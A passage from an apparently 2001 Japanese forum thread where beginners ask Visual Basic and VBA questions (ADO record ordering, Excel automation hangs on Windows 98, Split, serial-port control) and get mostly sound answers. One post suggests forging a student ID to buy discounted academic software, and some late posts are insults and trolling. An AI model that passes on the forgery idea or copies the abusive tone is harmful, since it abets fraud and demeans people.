1 foo
2 bar
となっているとします。これにAddnewメソッドを使用して、レコードを
追加したいのですが、結果を、
Index Name
1 foo
3 hoge
2 bar
としたいのです。普通にAddnewを使用すると、Recordsetオブジェクトの
最後に返されますので、ダメなのです。
Indexプロパティを使えばできるようなことがMSDNに書いてあるのですが、
どういった風に使ってよいのかわかりません。
糸口になりそうな事でもよろしいので、ご存知の方、いらっしゃいましたらご教授下さい。
701デフォルトの名無しさん:2001/03/19(月) 13:48
>>697
ヘルプを見る限り戻り値が違う。
702デフォルトの名無しさん:2001/03/19(月) 13:50
>>698

返値がないならDeclare Subで宣言しないと。
703デフォルトの名無しさん:2001/03/19(月) 13:52
>>700

意味がわからん。RDBMSで、レコードの順序を期待しちゃいかんよ。
取得するときに、Orderかけてとればいいだけ。
704デフォルトの名無しさん:2001/03/19(月) 13:53
>>694

描画するのはいいんだけど、それだと選択できなくなっちゃうよ。
PictureBoxとか使って、描画から入力から全部制御するって
いうのなら別だけど、Edit系のコントロールを使うなら置き換えた方が
楽でしょ。
705デフォルトの名無しさん:2001/03/19(月) 14:03
>>703さん
どうもレスありがとうございます。
順序を期待しちゃいけないんですね。
よろしければ、「Orderかけてとればいいだけ」というのをもう少し
教えていただけませんでしょうか?よろしくお願いします。
706デフォルトの名無しさん:2001/03/19(月) 14:14
>>700
SQLを勉強しましょう。やっぱ、なんでも
基本を勉強しないとだめだねー
707700:2001/03/19(月) 14:17
>>703さん
ソート用のフィールドを作れ、ということですね。
やってみます。
708デフォルトの名無しさん:2001/03/19(月) 14:38
>>707

そゆこと。登録順に表示したければ、登録した日時を保存するフィ―ルド
を用意すればおっけー。
709700:2001/03/19(月) 15:20
>>706さん
厳しい言葉、ありがとうございます。
今後も精進します。
>>708さん(703さん?)
ありがとうございます。
これで作った方がのちのちのデータ追加にも対応できますので楽チンですね。

みなさん、どうもありがとうございました。
710わすれた!:2001/03/19(月) 16:25
確か、VBでテキストボックスにあたかもプロパティやメソッドを追加
したかのように扱う方法があったと思うんだけど、忘れてしまった!
派生クラスっていうのかな?どういう方法でしたっけ?
クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・
とかだったかな・・・。
どなたか覚えてましたら、教えて下さい。
711デフォルトの名無しさん:2001/03/19(月) 17:28
>にあたかもプロパティやメソッドを追加
ユーザコントロールみたいだけど・・・

>クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・
サブクラス化のようでもアリ

好きにスレ
712デフォルトの名無しさん:2001/03/19(月) 23:56
VBとVC++って両方あったほうが良いですか?
713デフォルトの名無しさん:2001/03/20(火) 00:03
>>712

何をするか、によるのでは?
714712:2001/03/20(火) 00:15
その「何をするか」がまだあんまり決まってないんです。
今までこの手のことに疎くて、勉強してみようと思ってるんですが
右も左も分からない状態なので・・・
VBとVC++、それぞれどんなことが出来るのか教えていただけないでしょうか?
最初からこの質問すりゃよかったな。アホですみません。
715ちょめ太:2001/03/21(水) 11:10
EXCELのマクロの事で質問があります。
シート名を取得し、セルに表示したいのですが、そのような命令もしくは
関数が用意されているのであれば、関数がありましたら、教えて頂けますか?
当方EXCEL2000を使用しております。
スレと少々趣旨が違う質問をお許しください。
716>715:2001/03/21(水) 11:53
Dim wb As Workbook
Dim i As Long

Set wb = GetObject("aho.xls")

For i = 1 To wb.Worksheets.Count
  MsgBox wb.Worksheets(i).Name
Next

wb.Close
Set wb = Nothing
717>715:2001/03/21(水) 11:58
シート名参照
worksheets(?).name

ヘルプぐらい見ろよ
718715:2001/03/21(水) 13:14
>>716 717 殿
さっそくの回答ありがとうございました。
助かりました。
719    :2001/03/22(木) 12:16
貼り付けたActiveXコントロールだけ動くように文書保護できませんか?
720名無しさん:2001/03/22(木) 14:12
VBで変数を定義するときに、外部から持ってきたデータを
NAME1 NAME2・・・・・
のようにインデックス番号付きにしたいのですけどやりかたがわかりません
持ってくるデータは可変個です
721>720:2001/03/22(木) 14:34
配列またはディクショナリオブジェクト、コレクションではダメかね?
722  :2001/03/23(金) 16:16
ワードテンプレートとして貼り付けたActiveXコントロールを呼び出す
VBAがうごかん。
コントロールオブジェクトをクリックするとVBA開始するしろものなんだけど。
723>722:2001/03/23(金) 16:50
それだけじゃわからn
724   :2001/03/23(金) 17:38
>>723
ワードのテンプレートファイルのVBAが新規ドキュメントに
コピーされんのですよ。
725ななし:2001/03/24(土) 19:02
試用期間として、ある会社に通っています。
顧客登録プログラムをつくるようにいわれ、今必死で勉強しています。
で、DAOとADOって、どう違うんでしょうか?
726>725:2001/03/24(土) 19:45
DAO-->DataAccessObject
ADO-->ActiveXDataObject
DAOはJetエンジンに特化していたので、コンポーネント化のため
コネクション部分とレコードセット部分を分けて汎用化したものがADO
自分で言っててわけわからん。こことか見ながら考えないで書いていくのが
いいしょ。
ttp://www.microsoft.com/japan/developer/data/techmat/ado/dao2ado.asp
727725:2001/03/25(日) 16:02
>726
 ありがとう。せっかくなんで、新しいほう(ADO)でやってみます。
それにしても、ACCESSでクエリーつくってできたSQLって、なんで
あんなに不必要な括弧が多いのでしょう?コードに貼り付けるときに
面倒です。
728初心者:2001/03/25(日) 20:22
VBを使ってRS-232インターフェースに繋がっているものを制御したい
のですが、誰かやり方を教えていただけないでしょうか?
729初心者:2001/03/25(日) 20:34
ちなみに制御したいのはアドバンテストのデジタルマルチメータです。

http://www.advantest.co.jp/r6552-j/index.htm
↑これよりは型が古いものですが、ここに載っているリモートコマンドは
マニュアルに載っているものと同じでした。
RS-232で通信するやり方そのものが分からないのです。
730デフォルトの名無しさん:2001/03/25(日) 20:42
>>728-729
文面ではどこがわからないのか不明。
とりあえず、HelpをMsCommで検索してみな。
731デフォルトの名無しさん:2001/03/27(火) 17:48
金がないので通販でアカデミーパックを代引きで購入しようと思ってるんだけど
大丈夫だよね?

あ、32歳会社員です。
732デフォルトの名無しさん:2001/03/27(火) 18:07
通販でも学生証のコピーが必要なところもある。
MSはそうしないとダメって言ってるけど。
733デフォルトの名無しさん:2001/03/27(火) 19:50
コピーなら昔の学生証偽造すんべ。

でもビックカメラはノーチェックって情報入手したけど本当かな?
734名無しさん@お腹いっぱい。:2001/03/28(水) 16:01
VBAなんですけど...
ThisDocumentに貼り付けられているActiveXコントロールの名前のリストを取得する方法はありますか?
735デフォルトの名無しさん:2001/03/28(水) 18:30
ずるは逝けません。大学に再入学しましょう。
放送大学なら入学費2万円です。ソフト1個で元が取れます。
ニフティーも半額になるよ。
736名無しさん@お腹いっぱい。:2001/03/30(金) 21:28
ラベル・コントロールって、
Appearanceプロパティで横位置は指定できるけど、
縦の位置は指定できないですね。
枠の真ん中に表示する良い方法ありますか?
737デフォルトの名無しさん:2001/03/31(土) 13:29
>>736

縦位置の調整はできないので、フォントサイズぎりぎりにして、
隣のコントロールと縦中心をあわせればいいでしょ。

↑は、メニューの書式か何かでできるよ。
738名無しさん@お腹いっぱい。:2001/04/02(月) 22:55
>>737
Thanks!
739デフォルトの名無しさん:2001/04/03(火) 06:00
>>730
僕の知ってる限りだと、MSのCOMMを扱うコントロールって時々
おかしくなったんです。
もう直ったのかなぁ。
(ちと、独り言
740デフォルトの名無しさん:2001/04/03(火) 17:58
Dim array1() As user_type

のように宣言されている array1 が、
「すでに ReDim によってメモリの確保が行われているか、まだ行われていないか」
を調べたいのですが、どうやって調べたらいいのでしょうか?

Null、Empty、IsArray、バリアント型にキャストしてIsArrayに渡す。
とかやってみたのですが、うまくいきませんでした。

ぜひとも教えてください。
741デフォルトの名無しさん:2001/04/03(火) 21:18
>>740

一般的には、エラートラップしかないね。イヤなら門番を立てるか、
メモリを覗くか。

742りく:2001/04/03(火) 22:15
VBで作成したEXEファイルを逆にVBのプログラムに戻すことは出来るのでしょうか?

実は今日VBのプログラムを誤って全部消してしまい、サーバに置いてあったEXEファイルだけが残っている状態です。
これだけは不幸中の幸いでしたけど、近いうちに改良しなければならないので大変困っています。

誰か知っていましたらよろしくお願いします。
743デフォルトの名無しさん:2001/04/03(火) 23:32
>>742

無理です。

逆アセンブルツールがあるらしいですが、満足に使えるという話を
聞いたことはありません。

いまさらですけど、VSSとかを使った方がいいね。
744740:2001/04/03(火) 23:58
>>741
ありがとうございます。

>一般的には、エラートラップしかないね。イヤなら門番を立てるか、

そうします。

>メモリを覗くか。

ところで、メモリを覗く、とはどうやるのですか?
745デフォルトの名無しさん:2001/04/04(水) 01:26
>>744
「覗き」で検索してね。
746デフォルトの名無しさん:2001/04/04(水) 01:47
>>744
「RtlMoveMemory」で検索してね。
747名無しさん:2001/04/04(水) 11:13
サーバからファイルを取得したいのですが、
HttpSendRequestのAPIが失敗してしまいます。
http://tarz.virtualave.net/inet.txt
ですが、どこが間違ってるんでしょうか?
748デフォルトの名無しさん:2001/04/04(水) 11:48
>>747

とりあえず、エラーコードは? GetLastError()はだめよん。
749747:2001/04/04(水) 12:20
InternetOpen()でWININET初期化をした時に、既にErr.LastDllErrorに
指定されたモジュールが見つからないエラーが返ってました。
戻り値にインターネットハンドルが正常に返ってきてたみたいなので
見逃していたみたいです。
もう少し考えてみます。
750休憩中:2001/04/04(水) 12:31
インターネットコントロール用意してくれてるんだからそれだけを使ってればいいのさ。
751デフォルトの名無しさん :2001/04/04(水) 14:34
ハンドルが0以外で返ってきてるなら成功してるんじゃない?
752747:2001/04/04(水) 15:02
vbNullとvbNullStringが違ってただけでした・・・
753デフォルトの名無しさん:2001/04/04(水) 20:13
>>752

vbNull = 1だから、気をつけないとね。
754>743:2001/04/04(水) 20:18
そうですか・・逆アセンプルツールというのってどんなのがあるかご存知でしょうか?
いやあきらめた方がよさそうかもしれませんね。
自宅で一からやり直すしかないか・・あー鬱だ

743さん回答ありがとうございました。
755デフォルトの名無しさん:2001/04/05(木) 02:33
>>754
ドイツ製のツールがあるってのは聞いたことがあるよ。
756デフォルトの名無しさん:2001/04/05(木) 02:41
ぜんぜん初心者じゃありませんがどこで質問したらいいのかわからないのでここでします。

GetStdHandleとWriteFileをつかって標準出力に出力する時、上手くAnsi制御文字(だっけ?)が扱えません。
どうしたらいいのでしょうか? LSI-Cがあるからいざという時はいいけどCはいまいち自信がありません。
757デフォルトの名無しさん:2001/04/05(木) 02:59
VB厨は全員初心者レベルです。
758デフォルトの名無しさん:2001/04/05(木) 12:42
VBでインラインアセンブラ使う方法教えて下さい。
ASM
END ASM
とか書いても駄目みたいです。
それが駄目ならDATA文に書いといてPOKEで書き込むとか出来ますか?
759デフォルトの名無しさん:2001/04/05(木) 15:27
「1_1_1_1_1」と言う文字列があっておのおのの数字があるコードになってるのですが
これを数字ごとに分割して使いたいのですがどういった方法でやればいいのでしょうか?
760デフォルトの名無しさん:2001/04/05(木) 15:50
>>758
氏ね
761デフォルトの名無しさん:2001/04/05(木) 15:50
>>756
Ans制御文字ってエスケープシーケンスコードの事?
どううまくいかない??

>>758
VBはそういう使い方はできない

>>759
VB6以降ならSplit関数を使う
それ以前なら自分で実装するか、ネットに落ちてるソースを
使う
762759 :2001/04/05(木) 16:34
>>761
Split関数を使ったらインデックスエラーが出ます
値がNULLの時も使えるようにするにはどうしたらいいのでしょう?
763デフォルトの名無しさん:2001/04/05(木) 16:42
splitする前にチェックするわけにはいかないの?
764759:2001/04/05(木) 16:45
>>763
初心者なのでさっぱりわかんないんです・・・・・
765デフォルトの名無しさん:2001/04/05(木) 16:59
編集前の値が入った変数をvalueとすると

If Len(value & "") <= 0 Then
  '値が空の時の処理
Else
  buf = Split(valuek,"_")
End If
766759:2001/04/05(木) 17:41
>>756
ありがとうございます。
あと、
1_1_1_1_1のある部分がNULLの場合はどうしたらいいでしょうか?
たとえば
12__2_1_1のような時です

インデックスの有効範囲エラーになってしまいます
767デフォルトの名無しさん:2001/04/05(木) 20:36
Dim E As String
Dim D() As Byte
E = "1_1_1_1_1"
D = StrConv(E, vbFromUnicode)

MsgBox Chr$(D(0))

768756:2001/04/05(木) 23:17
>>756
そうです。画面をクリアしようとしても変な文字になってしまうんです。
Chr(&H1B) & "]2J" を書きこめばいいんですよね?
769>>768:2001/04/05(木) 23:39
Win9xならansi.sysを組み込んでないとか。
770768:2001/04/06(金) 00:12
>>769
DOSのPROMPTコマンドでやってみたら成功したんでそれはないかと。
ちなみにWin2kRC2です
771>>770:2001/04/06(金) 00:59
"]2J"じゃなくて"[2J"だっつー話は?
772770:2001/04/06(金) 01:18
>>771
ないと思われます
773デフォルトの名無しさん:2001/04/06(金) 01:40
VBアプリから『c:\temp』に保存しているhtmファイルを開くにはどうしたらいいのですか?
774デフォルトの名無しさん:2001/04/06(金) 07:48
もう、教えてくれんでいい!
775救助依頼:2001/04/06(金) 09:24
救助依頼です。できれば助けてください。

<救助依頼について>
下記に現状報告をします。そして、ピンチ内容の報告をします。
ピンチ内容について、助言をいただきたく思います。
よろしくお願いいたします。

<現状>
現在、MS-Access97のモジュールから、GetObject()で
MS-Excel97のワークシートを開き、その内容を読み込み、
データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果
を反映させる処理をやっています。

<ピンチ>
ところが、2500行ほど処理をするとエクセルシートの読み込
みが止まってしまうのです。デバッグしてみると、
オートメーションエラーです。そして、エクセルは無反応・・・。
これは一体?!

ちなみに、Windows98で起きてしまいますが、Windows2000では
問題無く処理が終了します。

776デフォルトの名無しさん:2001/04/06(金) 10:29
>>770
Win2k環境ないから確認できないけど、NT系のコンソールで
エスケープシーケンスって使えるの?

http://support.microsoft.com/support/kb/articles/Q101/8/75.asp
777デフォルトの名無しさん:2001/04/06(金) 11:16
>>775
ExcelをVBでコントロールするとそういったエラーがでることあるよ。
詳しくはMSのサイトにのっているよ。
私も以前、同じ問題で苦しんだよ。頑張ってね。
778デフォルトの名無しさん:2001/04/06(金) 11:58
>>775
Access 側に遅延処理を書くとか。
779777:2001/04/06(金) 14:02
>>775さん
仕方がないなぁ〜サービスだ、調べましたよ。
http://www.microsoft.com/japan/support/faq/KBArticles2.asp?URL=/japan/support/kb/articles/j049/6/06.htm
ここ見てね。
(しれっと777ゲットしてちょっとうれしい・・・)
780デフォルトの名無しさん:2001/04/06(金) 14:06
781780:2001/04/06(金) 14:08
ありゃりゃ
782775:2001/04/06(金) 14:53
>>777-780様

775の質問をした者です。どうもありがとうございました。
感謝いたします。

切迫した状況が続いておりまして、お礼の書き込みが
遅くなり大変失礼いたしました。

とても助かりました。
783VB よくわからん:2001/04/06(金) 15:39
自作のユーザコントロールのツールボックスで使用される
アイコンの書き換え方をご存知の方はいらっしゃいませんか?
784デフォルトの名無しさん:2001/04/06(金) 15:51
>>775
あー、このバグねえ。でもこれループの回数を減らしても結局いつかは
止まるんじゃなかったかなあ。Win9xを使ってる限りだめだね。
これWin9xだとRPCのコールにPostMessageを使っててメッセージキューの
使用カウンタがオーバーフローして0に戻ってメッセージがあるにも
かかわらずメッセージが無いことになっちゃってRPCがタイムアウトするって
問題だったはず。
Excelの持ってるRPCメッセージを受け取るWindowに一秒に一回くらい適当な
メッセージをPostMessageをすれば回避できるはず。
まあ、Win2000に切り替えるのがお勧めだね。
785デフォルトの名無しさん:2001/04/06(金) 16:09
あとはある程度の処理が終わったらExcelをどうにかして終了させる。
終了して再立ち上げすればメッセージキューの使用カウンタが0に
戻るからまたしばらく動く。
786デフォルトの名無しさん:2001/04/06(金) 16:14
>>784
ループで取得しなければ済む話では?
787デフォルトの名無しさん:2001/04/06(金) 16:24
RPCコールを一回するたびにカウンタが1増えるのよ。
で、オートメーションは一回やるたびに4回RPCコールをするから
4増えると。で結局16384回のオートメーションを実行するとカウンタが
0になるから、RPCコールの受け側がRPCメッセージがないと勘違いして
処理がとまるわけ。だから16384回を8192回*2にしようが何しようが
同じアウトプロセスサーバに対するオートメーションの総数が16384回に
なった時にハングする。増えていくカウンタ減らすすべは無いし、
終了しない限りクリアされることも無い。
788デフォルトの名無しさん:2001/04/06(金) 17:10
今回の場合
>MS-Excel97のワークシートを開き、その内容を読み込み、
>データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果
>を反映させる処理をやっています。

って事だから、1シートにつき一回のメソッドで値を取得すれば
>で結局16384回のオートメーションを実行

こんなに実行しないで済むのでは、と。
789デフォルトの名無しさん:2001/04/06(金) 20:41
よく、Windows2000をバカにしている人がいるけど、
ここまでやった人だけがその素晴らしさを知ると
いう感じですな。
790デフォルトの名無しさん:2001/04/09(月) 01:58
すみません 至急、誰か教えて下さい
EXCELで自からを終了させるには、
ソースどう書けばいいのですか?
イロイロやってもBOOKしか終了できなくて困っています
コレが終われば明日の納品間にあいます 寝れます お願いします

791デフォルトの名無しさん:2001/04/09(月) 22:00
>EXCELで自からを終了させるには、
>ソースどう書けばいいのですか?

Application.Quit

ヘルプ見てますか?
792デフォルトの名無しさん:2001/04/09(月) 23:12
ギリギリまにあってよかったね790。
793デフォルトの名無しさん:2001/04/09(月) 23:14
>>792
しかし、Application.Quitが分からない、Excelプログラムって
一体なんだったんだろうか?なぞ
794デフォルトの名無しさん:2001/04/09(月) 23:35
ヘルプ見ない人って多いね。
795デフォルトの名無しさん:2001/04/09(月) 23:43
>>790
マルチゃん。 逝ってよし。 盛大に逝ってよし。
796デフォルトの名無しさん:2001/04/10(火) 12:03
ACCESS97のSQLに
ORACLEの指定したフィールドに値がなかったら
別の指定した値を取得するNVL関数みたいのってあるんでしょうか?
797デフォルトの名無しさん:2001/04/10(火) 12:07
IsNull
ヘルプ見よ!
798デフォルトの名無しさん:2001/04/10(火) 12:18
はずれ。NZ関数。
でもパススルークエリならNVLそのまま。
でもそのテーブル設計ってまずい。DEFAULT指定すべき。
799797:2001/04/10(火) 12:40
SQLServerと勘違い
ハズカシ
800796:2001/04/10(火) 13:29
>797,798
ありがとうでした。
NZ・・・探しきれなかったので助かりました。
これで仕事が進みます(鬱
801デフォルトの名無しさん:2001/04/11(水) 11:04
Accessのデータ(mdb)をVBで読み込み
それに基づいてVB上のMS-GRAPHのデータシートの内容を書きかえたいのですが
その方法や手順を教えていただけないでしょうか?
また、参考に資料のようなものがWeb上などにあるのなら
その場所を教えていただけないでしょうか?

よろしくお願いします。
802デフォルトの名無しさん:2001/04/11(水) 11:34
他のアプリケーションをVBから起動・終了させる方法を教えてください。
803デフォルトの名無しさん:2001/04/11(水) 11:57
>802
MSDNで shell 終了 で検索しなさい
804名無し:2001/04/12(木) 01:44
RichTextBoxで質問

Private Sub RichTextBox1_Change()
WkStr = RichTextBox1.Text
End Sub

これをやると
・リッチテキストボックスになんでもいいから文字列を入れる
・文字を反転させる
・漢字入力(ローマ字変換)で文字を入力
すると初めのキーがIMEに渡らずにリッチテキストボックスに入力されます。
ATOK12でもMSIME2000でも同じ症状でした。あ、VB6SP4です。
なんとかならんですかね?
805>804:2001/04/12(木) 09:47
WinNT4.0 SP5
VB6.0 SP4
Office2000SR-1

そんな事おきないよ
環境壊れてるんじゃないの?
806デフォルトの名無しさん:2001/04/12(木) 17:20
Printerオブジェクトで用紙サイズの強制指定ってできますか?
PaperSize プロパティで設定できそうな感じですけどMSDNを見ても
A4とかA3などの汎用的サイズは設定できても任意サイズでは指定できないようです。
やっぱりプリンタのプロパティウィンドウを開いてユーザーに設定してもらう
しかないのかな。
807D使いβ:2001/04/12(木) 21:00
Printer.PaperSize = vbPRPSUser
Printer.Hight = xx
Printer.Width = yy
じゃ駄目?

NT/2000系だとプリンタフォルダ開いて[ファイル]-[サーバーのプロパティ]
で定義してやらないと駄目みたいだけど・・・
(APIのEnumFormsでの情報取得が必要)

ヘルプのHeight,Widthの説明とPaperSizeの説明が食い違ってるのが
気になる。
808806:2001/04/13(金) 00:12
なるほど・・。
HightとWidthを強制指定してしまえばいいんですね。
色々やってみます。
しかし・・PaperSizeプロパティ、ユーザー定義だと
vbPRPSUser(256)ってやつ、エプソンのドライバだと確かにそうなんだけど、
キャノンだと580だったなぁ・・これがようわからんです。
809デフォルトの名無しさん:2001/04/13(金) 00:42
各社バラバラ・・・結局マイクロソフトがDDKのドキュメント
にちゃんと書いといて統制とらなかったのが悪いんだよね。
(社内でもとれてない?)

XPからはMSの検査にパスしてないものは警告が出るように
なるそうだが・・・
810デフォルトの名無しさん:2001/04/13(金) 14:22
dim i が dim I になってしまいます。
dim i に修正して保存。再びプロジェクトを開くと dim I
になってます。
どうすれば、dim i にできるでしょうか?
811デフォルトの名無しさん:2001/04/13(金) 15:02
プロジェクトのどこかに

Public i
Const i
Enum hoge
    i
End Enum

とかあるんじゃない?
812デフォルトの名無しさん:2001/04/13(金) 17:06
プロジェクト内、全置換えで
dim I → dim i やると直ったです
dim ICountとか書きやがったやついるな
813デフォルトの名無しさん:2001/04/14(土) 17:53
棒、折れ線グラフ等を表示できるオブジェクトってあります?
グリッドの様にセル幅が自由に変えられてグラフもそれに合わせて再描画する。
表示グラフ(線の部分)のイベントが取れるのってありますか?
814デフォルトの名無しさん:2001/04/14(土) 23:07
三角形を塗りつぶすにはどうすればいいんですか?
815デフォルトの名無しさん:2001/04/16(月) 13:54
OLE Object を表示せずにアクティブにする
にはどうすれば?

816デフォルトの名無しさん:2001/04/16(月) 16:24
VB初心者にお勧めの参考書は何ですか?
817デフォルトの名無しさん:2001/04/16(月) 17:48
ベーマガ。
818:2001/04/18(水) 14:18
すいません。
質問なんですがVBでボタンを押すとたとえばアウトルックのオプションが出てくるとかはできますか?
それはアウトルックが起動していることが前提になりますか?
この辺がわかってないので教えてもらえますか?
具体的にはどうすればいいんでしょうか?
お願いします
819初心者A:2001/04/18(水) 18:43
VB6.0を購入したいんですが自分のパソはMEなんですけど
対応してるのってあるんでしょうか。95/98対応ってのばっかなんで
820デフォルトの名無しさん:2001/04/18(水) 21:19
>>813
グラフコントロールでどう? 高機能なのを求めるなら、サードパーティ
製を選ぶのがいい。http://www.boc.co.jp/ にいってみれ。

>>814
FloodFill()とかかな。APIを使わないなら、PSetでしこしこと。

>>815
意味不明。

>>816
VBマガジンとかどうよ? あとは、初心者向けの本が出てるだろ。

>>818
Outlookのオプションって何? 具体的に教えて。

>>819
VB6SP5で対応してるらしい。でも、開発にはWindows 2000とかの方が
いいよ。

821よし:2001/04/18(水) 22:03
EXCELのVBで1時間毎に何らかの処理を自動的にさせるには、
どのようにプログラミングすれば出来るのでしょうか?
822デフォルトの名無しさん:2001/04/18(水) 22:53
>>821
確か、ポーリングするしかなかったと思う。

発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、1時間ごとに
スケジューラで起動するってのはどう?
823デフォルトの名無しさん:2001/04/19(木) 01:19
>>815

MFC なんかではディスプレイの外など位置的に不可視なとこに
ウィンドウ移してやってますね。
824:2001/04/19(木) 01:59
要はランチャーみたいな感じで
アウトルックを開いてなくてもぽんと押すと
アウトルックを開いてツール>オプションを
出したのと同じ画面が出てくるとかそんな感じです
やっぱり無理ですよね。申し訳ない
複数のソフトとの設定で提携が出来ればいいなと思っただけです
825デフォルトの名無しさん:2001/04/19(木) 02:19
レジストリ調べて直接書き込んだ方が早くないか?
826デフォルトの名無しさん:2001/04/19(木) 06:57
FormAというフォームがメモリにロードされてない時に
FormA.visibleを参照すると
Forms.Countの値が1増えるんですけど、どうしてですか?
FormAをロードしたうえで参照するから?
827よし:2001/04/19(木) 07:02
>>822
821です。アドバイスありがとうございます。

ポーリングしてもいいのですが、無限ループ構造のプログラム
を作ってしまうとExcelの他の操作が出来なくなってしまいます
よね。無限ループにならないポーリング方法などありませんかねぇ?

>発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、
>1時間ごとに スケジューラで起動するってのはどう?
なるほど。発想を変えるといい方法ありすね。いいポーリング方法が
見つからなかったらこの方法で行きたいと思います。

828デフォルトの名無しさん:2001/04/19(木) 07:09
>>824
サーバー側がインターフェイスを提供してれば可能。もしかすると、公開
しているかもしれないので、オブジェクト階層を調べてみれば?

>>826
そう。フォームのプロパティを参照/設定すると、暗黙的にフォームが
ロードされる。

>>827
Application.Wait()とかでできたような気もするけど、あまりきれいになら
なかったような・・・ ま、Excel97の頃の記憶なんで、話半分で聞いて。
829デフォルトの名無しさん:2001/04/19(木) 15:40
ポリゴンを作ってるんですが
各頂点の計算と辺の表示が出来たんですが
サーフェイスの色を塗ることが出来ません。
どうすればいいのでしょうか?
830デフォルトの名無しさん:2001/04/19(木) 15:40
ポリゴンを作ってるんですが
各頂点の計算と辺の表示が出来たんですが
サーフェイスの色を塗ることが出来ません。
どうすればいいのでしょうか?
831デフォルトの名無しさん:2001/04/20(金) 22:48
ちょー初心者で申し訳ありません。
テキストボックスの値をクリップボードにコピーするのは、
どうすればいいのでしょうか?
宜しくお願いします。
832デフォルトの名無しさん:2001/04/20(金) 23:03
>>831
Clipboard.SetText で。
833デフォルトの名無しさん:2001/04/21(土) 09:33
>832
有難うございました。
ヘルプでCopyをずーと調べてたもので、全然見つからなかったのです。
解決しました。
834デフォルトの名無しさん:2001/04/22(日) 18:55
VBで作ったソフトが複数起動されないようにする方法は?
お願いします。
835デフォルトの名無しさん:2001/04/22(日) 19:12
>>834
App.PrevInstanceプロパティでチェック。
836デフォルトの名無しさん:2001/04/23(月) 21:45
>>835
レス有難うございます。
複数起動はされないようになったのですが、
先に起動されていたほうをアクティブにするのは難しいんですね。
Appactivateでもうまくいかないもので…
もう少し調べてみます。
有難うございました。
837デフォルトの名無しさん:2001/04/23(月) 21:52
>>836
その処理は結構めんどくさい。DDEを使う方法もあるけど、よく使われるのは
FindWindow()して、SetForeGroundWindow()かな。

キャプションが固定のときね。
838デフォルトの名無しさん:2001/04/23(月) 22:40
VB、もしくはEXCELマクロを使って、EXCEL2000の*.xlsに埋めこまれてる
マクロを連続的に自動で抜き出して、*.basに保存する方法はあるでしょうか?
よろしくお願いします
839デフォルトの名無しさん:2001/04/23(月) 23:26
>>838
ちょっとヘルプがないんで分からないんだけど、VBEオブジェクトを使って
操作できたと思うよ。
840838:2001/04/24(火) 01:18
>>839
ありがとうございました
試してみます
841デフォルトの名無しさん:2001/04/25(水) 16:18
ネットワークプリンタに関することなのですが
MsgBox Printer.DeviceName
としたときにWIN98とNTで表示内容が違うのですが…。
WIN98とNTで表示内容を同じにすることはできないのでしょうか?
842デフォルトの名無しさん:2001/04/25(水) 16:21
>>841
ちなみに、どう違うの? デバイス名がOSで異なるのはしょうがないと思うけど。
843841:2001/04/25(水) 16:22
説明追加
WIN98では印刷に使用するドライバ
NTでは印刷先のポート
が表示されます。
844デフォルトの名無しさん:2001/04/25(水) 20:56
VBで動画の再生速度をコントロールするには、どうすればいいですか?
845デフォルトの名無しさん:2001/04/29(日) 12:49
VB6.0を使って、http経由でバイナリのデータを取得する方法を教えて下さい。
846デフォルトの名無しさん:2001/04/29(日) 21:21
VBで作ったのを配布しようとすると、セットアップ中に

「ファイル c:\windows\system\EXPSRV.DLL
の登録中にエラーが発生しました」

というエラーが出るのですが、なんのエラーなのでしょうか?
一見、問題はないのですが。
847デフォルトの名無しさん:2001/05/01(火) 14:17
ある文字列中の「?」の数を調べたいのですがどうやったらいいでしょうか?
848デフォルトの名無しさん:2001/05/01(火) 14:20
>>847
Split()で分けて、UBound()
849デフォルトの名無しさん:2001/05/01(火) 14:46
>>848
できれば他のやり方がいいのです・・・
850デフォルトの名無しさん:2001/05/01(火) 14:56
Private Sub Command1_Click()

MsgBox(cstr(bar(Text1.Text, "?", "")))

End Sub

Public Function bar(lpTargetstr As String, RequireStr As String, ByRef Errortext As String) As Long

Dim i As Long
Dim result As Long
Dim tempstr As String

' //const RequireStr = "?"

On Error GoTo Catch
result = 0

For i = 1 To Len(lpTargetstr)

tempstr = StrConv(Mid(lpTargetstr, i, 1), vbWide)
If tempstr = StrConv(RequireStr, vbWide) Then GoSub Findit

Next i

bar = result

Exit Function

Findit:
result = result + 1
Return

Catch:
bar = -1
Errortext = CStr(Err.Description)
End Function
851デフォルトの名無しさん:2001/05/01(火) 15:21
>>845
winsockつかえば?

>>846
http://www.sfdata.ne.jp/windev/iij/htdocs/msg24018.html

>>849
1文字ずつ取りだしてinstr
852デフォルトの名無しさん:2001/05/01(火) 15:47
1文字ずつ判定ならstrcompでした(鬱
853デフォルトの名無しさん:2001/05/16(水) 15:06
ComboBoxを指定するときに

MsgBox Combo.Text

MsgBox Combo.Item(0).Text

と指定しなければいけない事があるみたいだけど、
これはなんで?

どこかスタイルをかえちゃったのかな?
854デフォルトの名無しさん:2001/05/16(水) 15:21
>>853
どんなエラーが出るのですか?
855デフォルトの名無しさん:2001/05/19(土) 00:41
死ね上級者
856デフォルトの名無しさん:2001/05/19(土) 00:46
先程の荒らしはVB厨房?
ろくなことしないにゅ。(w
857デフォルトの名無しさん:2001/05/19(土) 00:51
        !    こ
    い             ん

 ざ                   な

う         あ  あ        糞
       ゃ         あ
                       ス
     じ      ぁ  ぁ
                      レ
      e
                    は
         g       s
             a
858デフォルトの名無しさん:2001/05/19(土) 01:09
アンチkylix荒らし=VB厨
氏んでね
859デフォルトの名無しさん:2001/05/21(月) 01:32
呼んだか?
860デフォルトの名無しさん:2001/05/21(月) 01:40
VB厨はVB以外の言語など知らないと思いますが・・
861デフォルトの名無しさん:2001/05/21(月) 01:48
C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url

このような文字列から
"C:\Documents and Settings\Default User\Favorites\メディア"
を取り出したり
"メディア ガイド.url"

"メディア ガイド"
を取り出すのはどのように行うのでしょうか?
よろしくお願いします。
862デフォルトの名無しさん:2001/05/21(月) 01:59
変数Aにマイナス1を入れておく
頭から順に\を検索する
\が見つかったら何文字目かを変数Aに控えておく
これを文字列の最後までやる

ここで変数Aの値が最後の\の位置なので、
その次の文字から最後までがファイル名になる
空白やピリオドに関しても同じようにやればOK
最後から順に検索だと、漢字の2バイト目に隠れてる\に引っかかってしまう。

これが一般的なアルゴリズムだと思うけど、
VBだと漢字を1文字として数える命令があるのかもね。
当方Cプログラマなのでこれ以上は。
